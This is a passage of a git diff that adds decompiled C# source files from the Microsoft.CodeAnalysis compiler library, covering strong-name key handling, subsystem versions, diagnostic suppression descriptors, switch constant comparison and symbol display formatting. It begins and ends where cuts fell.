PublicKey = publicKey; + PrivateKey = privateKey; + KeyContainer = keyContainerName; + KeyFilePath = keyFilePath; + HasCounterSignature = hasCounterSignature; + } + + internal static StrongNameKeys Create(ImmutableArray publicKey, RSAParameters? privateKey, bool hasCounterSignature, CommonMessageProvider messageProvider) + { + if (MetadataHelpers.IsValidPublicKey(publicKey)) + { + return new StrongNameKeys(default(ImmutableArray), publicKey, privateKey, null, null, hasCounterSignature); + } + return new StrongNameKeys(messageProvider.CreateDiagnostic(messageProvider.ERR_BadCompilationOptionValue, Location.None, "CryptoPublicKey", BitConverter.ToString(publicKey.ToArray()))); + } + + internal static StrongNameKeys Create(string? keyFilePath, CommonMessageProvider messageProvider) + { + if (string.IsNullOrEmpty(keyFilePath)) + { + return None; + } + try + { + return CreateHelper(ImmutableArray.Create(File.ReadAllBytes(keyFilePath)), keyFilePath, hasCounterSignature: false); + } + catch (IOException ex) + { + return new StrongNameKeys(GetKeyFileError(messageProvider, keyFilePath, ex.Message)); + } + } + + internal static StrongNameKeys CreateHelper(ImmutableArray keyFileContent, string keyFilePath, bool hasCounterSignature) + { + RSAParameters? privateKey = null; + Tuple, ImmutableArray, RSAParameters?> tuple = s_lastSeenKeyPair; + ImmutableArray immutableArray; + ImmutableArray snKey; + if (tuple != null && keyFileContent == tuple.Item1) + { + immutableArray = tuple.Item1; + snKey = tuple.Item2; + privateKey = tuple.Item3; + } + else + { + if (MetadataHelpers.IsValidPublicKey(keyFileContent)) + { + snKey = keyFileContent; + immutableArray = default(ImmutableArray); + } + else + { + if (!CryptoBlobParser.TryParseKey(keyFileContent, out snKey, out privateKey)) + { + throw new IOException(CodeAnalysisResources.InvalidPublicKey); + } + immutableArray = keyFileContent; + } + tuple = new Tuple, ImmutableArray, RSAParameters?>(immutableArray, snKey, privateKey); + Interlocked.Exchange(ref s_lastSeenKeyPair, tuple); + } + return new StrongNameKeys(immutableArray, snKey, privateKey, null, keyFilePath, hasCounterSignature); + } + + internal static StrongNameKeys Create(StrongNameProvider? providerOpt, string? keyFilePath, string? keyContainerName, bool hasCounterSignature, CommonMessageProvider messageProvider) + { + if (string.IsNullOrEmpty(keyFilePath) && string.IsNullOrEmpty(keyContainerName)) + { + return None; + } + if (providerOpt == null) + { + return new StrongNameKeys(GetError(keyFilePath, keyContainerName, new CodeAnalysisResourcesLocalizableErrorArgument("AssemblySigningNotSupported"), messageProvider)); + } + return providerOpt.CreateKeys(keyFilePath, keyContainerName, hasCounterSignature, messageProvider); + } + + internal static Diagnostic GetError(string? keyFilePath, string? keyContainerName, object message, CommonMessageProvider messageProvider) + { + if (keyContainerName != null) + { + return GetContainerError(messageProvider, keyContainerName, message); + } + return GetKeyFileError(messageProvider, keyFilePath, message); + } + + internal static Diagnostic GetContainerError(CommonMessageProvider messageProvider, string name, object message) + { + return messageProvider.CreateDiagnostic(messageProvider.ERR_PublicKeyContainerFailure, Location.None, name, message); + } + + internal static Diagnostic GetKeyFileError(CommonMessageProvider messageProvider, string path, object message) + { + return messageProvider.CreateDiagnostic(messageProvider.ERR_PublicKeyFileFailure, Location.None, path, message); + } + + internal static bool IsValidPublicKeyString(string? publicKey) + { + if (string.IsNullOrEmpty(publicKey) || publicKey.Length % 2 != 0) + { + return false; + } + foreach (char c in publicKey) + { + if ((c < '0' || c > '9') && (c < 'a' || c > 'f') && (c < 'A' || c > 'F')) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameProvider.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameProvider.cs new file mode 100644 index 0000000..0bff30f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/StrongNameProvider.cs @@ -0,0 +1,20 @@ +using System.Reflection.Metadata; +using System.Security.Cryptography; +using Microsoft.Cci; + +namespace Microsoft.CodeAnalysis; + +public abstract class StrongNameProvider +{ + internal abstract StrongNameFileSystem FileSystem { get; } + + public abstract override int GetHashCode(); + + public abstract override bool Equals(object? other); + + internal abstract void SignFile(StrongNameKeys keys, string filePath); + + internal abstract void SignBuilder(ExtendedPEBuilder peBuilder, BlobBuilder peBlob, RSAParameters privateKey); + + internal abstract StrongNameKeys CreateKeys(string? keyFilePath, string? keyContainerName, bool hasCounterSignature, CommonMessageProvider messageProvider); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SubsystemVersion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SubsystemVersion.cs new file mode 100644 index 0000000..0c1c9ae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SubsystemVersion.cs @@ -0,0 +1,133 @@ +using System; +using System.Globalization; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SubsystemVersion : IEquatable +{ + public int Major { get; } + + public int Minor { get; } + + public static SubsystemVersion None => default(SubsystemVersion); + + public static SubsystemVersion Windows2000 => new SubsystemVersion(5, 0); + + public static SubsystemVersion WindowsXP => new SubsystemVersion(5, 1); + + public static SubsystemVersion WindowsVista => new SubsystemVersion(6, 0); + + public static SubsystemVersion Windows7 => new SubsystemVersion(6, 1); + + public static SubsystemVersion Windows8 => new SubsystemVersion(6, 2); + + public bool IsValid + { + get + { + if (Major >= 0 && Minor >= 0 && Major < 65536) + { + return Minor < 65536; + } + return false; + } + } + + private SubsystemVersion(int major, int minor) + { + Major = major; + Minor = minor; + } + + public static bool TryParse(string str, out SubsystemVersion version) + { + version = None; + if (!string.IsNullOrWhiteSpace(str)) + { + int num = str.IndexOf('.'); + string text; + string text2; + if (num >= 0) + { + if (str.Length == num + 1) + { + return false; + } + text = str.Substring(0, num); + text2 = str.Substring(num + 1); + } + else + { + text = str; + text2 = null; + } + if (text != text.Trim() || !int.TryParse(text, NumberStyles.None, CultureInfo.InvariantCulture, out var result) || result >= 65356 || result < 0) + { + return false; + } + int result2 = 0; + if (text2 != null && (text2 != text2.Trim() || !int.TryParse(text2, NumberStyles.None, CultureInfo.InvariantCulture, out result2) || result2 >= 65356 || result2 < 0)) + { + return false; + } + version = new SubsystemVersion(result, result2); + return true; + } + return false; + } + + public static SubsystemVersion Create(int major, int minor) + { + return new SubsystemVersion(major, minor); + } + + internal static SubsystemVersion Default(OutputKind outputKind, Platform platform) + { + if (platform == Platform.Arm) + { + return Windows8; + } + switch (outputKind) + { + case OutputKind.ConsoleApplication: + case OutputKind.WindowsApplication: + case OutputKind.DynamicallyLinkedLibrary: + case OutputKind.NetModule: + return new SubsystemVersion(4, 0); + case OutputKind.WindowsRuntimeMetadata: + case OutputKind.WindowsRuntimeApplication: + return Windows8; + default: + throw new ArgumentOutOfRangeException(CodeAnalysisResources.OutputKindNotSupported, "outputKind"); + } + } + + public override bool Equals(object? obj) + { + if (obj is SubsystemVersion) + { + return Equals((SubsystemVersion)obj); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(Minor.GetHashCode(), Major.GetHashCode()); + } + + public bool Equals(SubsystemVersion other) + { + if (Major == other.Major) + { + return Minor == other.Minor; + } + return false; + } + + public override string ToString() + { + return $"{Major}.{Minor:00}"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SuppressionDescriptor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SuppressionDescriptor.cs new file mode 100644 index 0000000..f304601 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SuppressionDescriptor.cs @@ -0,0 +1,69 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class SuppressionDescriptor : IEquatable +{ + public string Id { get; } + + public string SuppressedDiagnosticId { get; } + + public LocalizableString Justification { get; } + + public SuppressionDescriptor(string id, string suppressedDiagnosticId, string justification) + : this(id, suppressedDiagnosticId, (LocalizableString)justification) + { + } + + public SuppressionDescriptor(string id, string suppressedDiagnosticId, LocalizableString justification) + { + if (string.IsNullOrWhiteSpace(id)) + { + throw new ArgumentException(CodeAnalysisResources.SuppressionIdCantBeNullOrWhitespace, "id"); + } + if (string.IsNullOrWhiteSpace(suppressedDiagnosticId)) + { + throw new ArgumentException(CodeAnalysisResources.DiagnosticIdCantBeNullOrWhitespace, "suppressedDiagnosticId"); + } + Id = id; + SuppressedDiagnosticId = suppressedDiagnosticId; + Justification = justification ?? throw new ArgumentNullException("justification"); + } + + public bool Equals(SuppressionDescriptor? other) + { + if (this == other) + { + return true; + } + if (other != null && Id == other.Id && SuppressedDiagnosticId == other.SuppressedDiagnosticId) + { + return Justification.Equals(other.Justification); + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as SuppressionDescriptor); + } + + public override int GetHashCode() + { + return Hash.Combine(Id.GetHashCode(), Hash.Combine(SuppressedDiagnosticId.GetHashCode(), Justification.GetHashCode())); + } + + internal bool IsDisabled(CompilationOptions compilationOptions) + { + if (compilationOptions == null) + { + throw new ArgumentNullException("compilationOptions"); + } + if (compilationOptions.SpecificDiagnosticOptions.TryGetValue(Id, out var value)) + { + return value == ReportDiagnostic.Suppress; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SwitchConstantValueHelper.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SwitchConstantValueHelper.cs new file mode 100644 index 0000000..a9761cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SwitchConstantValueHelper.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class SwitchConstantValueHelper +{ + public class SwitchLabelsComparer : EqualityComparer + { + public override bool Equals(object? first, object? second) + { + ConstantValue constantValue = first as ConstantValue; + if (constantValue != null) + { + ConstantValue constantValue2 = second as ConstantValue; + if (constantValue2 != null) + { + if (!IsValidSwitchCaseLabelConstant(constantValue) || !IsValidSwitchCaseLabelConstant(constantValue2)) + { + return constantValue.Equals(constantValue2); + } + return CompareSwitchCaseLabelConstants(constantValue, constantValue2) == 0; + } + } + if (first is string a) + { + return string.Equals(a, second as string, StringComparison.Ordinal); + } + return first.Equals(second); + } + + public override int GetHashCode(object obj) + { + ConstantValue constantValue = obj as ConstantValue; + if (constantValue != null) + { + switch (constantValue.Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + case ConstantValueTypeDiscriminator.Int16: + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.Int64: + return constantValue.Int64Value.GetHashCode(); + case ConstantValueTypeDiscriminator.Byte: + case ConstantValueTypeDiscriminator.UInt16: + case ConstantValueTypeDiscriminator.UInt32: + case ConstantValueTypeDiscriminator.UInt64: + case ConstantValueTypeDiscriminator.Char: + case ConstantValueTypeDiscriminator.Boolean: + return constantValue.UInt64Value.GetHashCode(); + case ConstantValueTypeDiscriminator.String: + return constantValue.RopeValue.GetHashCode(); + } + } + return obj.GetHashCode(); + } + } + + public static bool IsValidSwitchCaseLabelConstant(ConstantValue constant) + { + switch (constant.Discriminator) + { + case ConstantValueTypeDiscriminator.Nothing: + case ConstantValueTypeDiscriminator.SByte: + case ConstantValueTypeDiscriminator.Byte: + case ConstantValueTypeDiscriminator.Int16: + case ConstantValueTypeDiscriminator.UInt16: + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.UInt32: + case ConstantValueTypeDiscriminator.Int64: + case ConstantValueTypeDiscriminator.UInt64: + case ConstantValueTypeDiscriminator.Char: + case ConstantValueTypeDiscriminator.Boolean: + case ConstantValueTypeDiscriminator.String: + return true; + default: + return false; + } + } + + public static int CompareSwitchCaseLabelConstants(ConstantValue first, ConstantValue second) + { + if (first.IsNull) + { + if (!second.IsNull) + { + return -1; + } + return 0; + } + if (second.IsNull) + { + return 1; + } + switch (first.Discriminator) + { + case ConstantValueTypeDiscriminator.SByte: + case ConstantValueTypeDiscriminator.Int16: + case ConstantValueTypeDiscriminator.Int32: + case ConstantValueTypeDiscriminator.Int64: + return first.Int64Value.CompareTo(second.Int64Value); + case ConstantValueTypeDiscriminator.Byte: + case ConstantValueTypeDiscriminator.UInt16: + case ConstantValueTypeDiscriminator.UInt32: + case ConstantValueTypeDiscriminator.UInt64: + case ConstantValueTypeDiscriminator.Char: + case ConstantValueTypeDiscriminator.Boolean: + return first.UInt64Value.CompareTo(second.UInt64Value); + case ConstantValueTypeDiscriminator.String: + return string.CompareOrdinal(first.StringValue, second.StringValue); + default: + throw ExceptionUtilities.UnexpectedValue(first.Discriminator); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayCompilerInternalOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayCompilerInternalOptions.cs new file mode 100644 index 0000000..b648c65 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayCompilerInternalOptions.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum SymbolDisplayCompilerInternalOptions +{ + None = 0, + UseMetadataMethodNames = 1, + UseArityForGenericTypes = 2, + FlagMissingMetadataTypes = 4, + IncludeScriptType = 8, + IncludeCustomModifiers = 0x10, + ReverseArrayRankSpecifiers = 0x20, + UseNativeIntegerUnderlyingType = 0x40, + UsePlusForNestedTypes = 0x80, + IncludeContainingFileForFileTypes = 0x100, + ExcludeParameterNameIfStandalone = 0x200, + IncludeFileLocalTypesPrefix = 0x400 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayDelegateStyle.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayDelegateStyle.cs new file mode 100644 index 0000000..515f154 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayDelegateStyle.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolDisplayDelegateStyle +{ + NameOnly, + NameAndParameters, + NameAndSignature +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayExtensionMethodStyle.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayExtensionMethodStyle.cs new file mode 100644 index 0000000..acb35e2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayExtensionMethodStyle.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +public enum SymbolDisplayExtensionMethodStyle +{ + Default, + InstanceMethod, + StaticMethod +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayExtensions.cs new file mode 100644 index 0000000..d378939 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayExtensions.cs @@ -0,0 +1,92 @@ +using System; +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +public static class SymbolDisplayExtensions +{ + public static string ToDisplayString(this ImmutableArray parts) + { + if (parts.IsDefault) + { + throw new ArgumentException("parts"); + } + if (parts.Length == 0) + { + return string.Empty; + } + if (parts.Length == 1) + { + return parts[0].ToString(); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + ImmutableArray.Enumerator enumerator = parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + builder.Append(enumerator.Current.ToString()); + } + return instance.ToStringAndFree(); + } + + internal static string ToDisplayString(this ArrayBuilder parts) + { + if (parts == null) + { + throw new ArgumentException("parts"); + } + if (parts.Count == 0) + { + return string.Empty; + } + if (parts.Count == 1) + { + return parts[0].ToString(); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + ArrayBuilder.Enumerator enumerator = parts.GetEnumerator(); + while (enumerator.MoveNext()) + { + builder.Append(enumerator.Current.ToString()); + } + return instance.ToStringAndFree(); + } + + internal static bool IncludesOption(this SymbolDisplayCompilerInternalOptions options, SymbolDisplayCompilerInternalOptions flag) + { + return (options & flag) == flag; + } + + internal static bool IncludesOption(this SymbolDisplayGenericsOptions options, SymbolDisplayGenericsOptions flag) + { + return (options & flag) == flag; + } + + internal static bool IncludesOption(this SymbolDisplayMemberOptions options, SymbolDisplayMemberOptions flag) + { + return (options & flag) == flag; + } + + internal static bool IncludesOption(this SymbolDisplayMiscellaneousOptions options, SymbolDisplayMiscellaneousOptions flag) + { + return (options & flag) == flag; + } + + internal static bool IncludesOption(this SymbolDisplayParameterOptions options, SymbolDisplayParameterOptions flag) + { + return (options & flag) == flag; + } + + internal static bool IncludesOption(this SymbolDisplayKindOptions options, SymbolDisplayKindOptions flag) + { + return (options & flag) == flag; + } + + internal static bool IncludesOption(this SymbolDisplayLocalOptions options, SymbolDisplayLocalOptions flag) + { + return (options & flag) == flag; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayFormat.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayFormat.cs new file mode 100644 index 0000000..60c2776 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SymbolDisplayFormat.cs @@ -0,0 +1,187 @@ +namespace Microsoft.CodeAnalysis; + +public class SymbolDisplayFormat +{ + internal static readonly SymbolDisplayFormat TestFormat = new SymbolDisplayFormat(SymbolDisplayCompilerInternalOptions.UseMetadataMethodNames | SymbolDisplayCompilerInternalOptions.FlagMissingMetadataTypes | SymbolDisplayCompilerInternalOptions.IncludeScriptType | SymbolDisplayCompilerInternalOptions.IncludeCustomModifiers | SymbolDisplayCompilerInternalOptions.IncludeContainingFileForFileTypes, SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters | SymbolDisplayGenericsOptions.IncludeVariance, SymbolDisplayMemberOptions.IncludeType | SymbolDisplayMemberOptions.IncludeExplicitInterface | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeContainingType | SymbolDisplayMemberOptions.IncludeRef, SymbolDisplayParameterOptions.IncludeExtensionThis | SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType | SymbolDisplayParameterOptions.IncludeName | SymbolDisplayParameterOptions.IncludeDefaultValue | SymbolDisplayParameterOptions.IncludeOptionalBrackets, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayPropertyStyle.ShowReadWriteDescriptor, SymbolDisplayLocalOptions.IncludeType, SymbolDisplayKindOptions.IncludeMemberKeyword, SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.UseErrorTypeSymbolName | SymbolDisplayMiscellaneousOptions.IncludeNullableReferenceTypeModifier); + + internal static readonly SymbolDisplayFormat TestFormatWithConstraints = TestFormat.WithGenericsOptions(TestFormat.GenericsOptions | SymbolDisplayGenericsOptions.IncludeTypeConstraints).AddMiscellaneousOptions(SymbolDisplayMiscellaneousOptions.IncludeNotNullableReferenceTypeModifier).WithCompilerInternalOptions(SymbolDisplayCompilerInternalOptions.None); + + internal static readonly SymbolDisplayFormat QualifiedNameOnlyFormat = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.Omitted, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces); + + internal static readonly SymbolDisplayFormat QualifiedNameArityFormat = new SymbolDisplayFormat(SymbolDisplayCompilerInternalOptions.UseArityForGenericTypes, SymbolDisplayGlobalNamespaceStyle.Omitted, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.None, SymbolDisplayMemberOptions.None, SymbolDisplayParameterOptions.None, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.ExpandValueTuple); + + internal static readonly SymbolDisplayFormat ShortFormat = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameOnly, SymbolDisplayGenericsOptions.None, SymbolDisplayMemberOptions.None, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.IncludeName, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.IncludeNullableReferenceTypeModifier); + + internal static readonly SymbolDisplayFormat ILVisualizationFormat = new SymbolDisplayFormat(SymbolDisplayCompilerInternalOptions.UseMetadataMethodNames, SymbolDisplayGlobalNamespaceStyle.Omitted, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters, SymbolDisplayMemberOptions.IncludeType | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeContainingType | SymbolDisplayMemberOptions.IncludeRef, SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.IncludeMemberKeyword, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.ExpandValueTuple); + + internal static readonly SymbolDisplayFormat ExplicitInterfaceImplementationFormat = new SymbolDisplayFormat(SymbolDisplayCompilerInternalOptions.ReverseArrayRankSpecifiers | SymbolDisplayCompilerInternalOptions.IncludeFileLocalTypesPrefix, SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters, SymbolDisplayMemberOptions.None, SymbolDisplayParameterOptions.None, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers); + + public static SymbolDisplayFormat CSharpErrorMessageFormat { get; } = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters, SymbolDisplayMemberOptions.IncludeExplicitInterface | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeContainingType, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.UseAsterisksInMultiDimensionalArrays | SymbolDisplayMiscellaneousOptions.UseErrorTypeSymbolName | SymbolDisplayMiscellaneousOptions.IncludeNullableReferenceTypeModifier); + + internal static SymbolDisplayFormat CSharpErrorMessageNoParameterNamesFormat { get; } = CSharpErrorMessageFormat.AddCompilerInternalOptions(SymbolDisplayCompilerInternalOptions.ExcludeParameterNameIfStandalone); + + public static SymbolDisplayFormat CSharpShortErrorMessageFormat { get; } = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypes, SymbolDisplayGenericsOptions.IncludeTypeParameters, SymbolDisplayMemberOptions.IncludeExplicitInterface | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeContainingType, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.UseAsterisksInMultiDimensionalArrays | SymbolDisplayMiscellaneousOptions.UseErrorTypeSymbolName | SymbolDisplayMiscellaneousOptions.IncludeNullableReferenceTypeModifier); + + public static SymbolDisplayFormat VisualBasicErrorMessageFormat { get; } = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters | SymbolDisplayGenericsOptions.IncludeTypeConstraints | SymbolDisplayGenericsOptions.IncludeVariance, SymbolDisplayMemberOptions.IncludeType | SymbolDisplayMemberOptions.IncludeModifiers | SymbolDisplayMemberOptions.IncludeAccessibility | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeRef, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.IncludeExtensionThis | SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType | SymbolDisplayParameterOptions.IncludeName | SymbolDisplayParameterOptions.IncludeDefaultValue | SymbolDisplayParameterOptions.IncludeOptionalBrackets, SymbolDisplayPropertyStyle.ShowReadWriteDescriptor, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.IncludeMemberKeyword, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.UseAsterisksInMultiDimensionalArrays | SymbolDisplayMiscellaneousOptions.UseErrorTypeSymbolName); + + public static SymbolDisplayFormat VisualBasicShortErrorMessageFormat { get; } = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.OmittedAsContaining, SymbolDisplayTypeQualificationStyle.NameAndContainingTypes, SymbolDisplayGenericsOptions.IncludeTypeParameters | SymbolDisplayGenericsOptions.IncludeTypeConstraints | SymbolDisplayGenericsOptions.IncludeVariance, SymbolDisplayMemberOptions.IncludeType | SymbolDisplayMemberOptions.IncludeModifiers | SymbolDisplayMemberOptions.IncludeAccessibility | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeRef, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.IncludeExtensionThis | SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType | SymbolDisplayParameterOptions.IncludeName | SymbolDisplayParameterOptions.IncludeDefaultValue | SymbolDisplayParameterOptions.IncludeOptionalBrackets, SymbolDisplayPropertyStyle.ShowReadWriteDescriptor, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.IncludeMemberKeyword, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers | SymbolDisplayMiscellaneousOptions.UseAsterisksInMultiDimensionalArrays | SymbolDisplayMiscellaneousOptions.UseErrorTypeSymbolName); + + public static SymbolDisplayFormat FullyQualifiedFormat { get; } = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.Included, SymbolDisplayTypeQualificationStyle.NameAndContainingTypesAndNamespaces, SymbolDisplayGenericsOptions.IncludeTypeParameters, SymbolDisplayMemberOptions.None, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.None, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.None, SymbolDisplayKindOptions.None, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | SymbolDisplayMiscellaneousOptions.EscapeKeywordIdentifiers); + + public static SymbolDisplayFormat MinimallyQualifiedFormat { get; } = new SymbolDisplayFormat(SymbolDisplayGlobalNamespaceStyle.Omitted, SymbolDisplayTypeQualificationStyle.NameOnly, SymbolDisplayGenericsOptions.IncludeTypeParameters, SymbolDisplayMemberOptions.IncludeType | SymbolDisplayMemberOptions.IncludeParameters | SymbolDisplayMemberOptions.IncludeContainingType | SymbolDisplayMemberOptions.IncludeRef, SymbolDisplayDelegateStyle.NameOnly, SymbolDisplayExtensionMethodStyle.Default, SymbolDisplayParameterOptions.IncludeParamsRefOut | SymbolDisplayParameterOptions.IncludeType | SymbolDisplayParameterOptions.IncludeName | SymbolDisplayParameterOptions.IncludeDefaultValue, SymbolDisplayPropertyStyle.NameOnly, SymbolDisplayLocalOptions.IncludeType, SymbolDisplayKindOptions.IncludeMemberKeyword, SymbolDisplayMiscellaneousOptions.UseSpecialTypes | 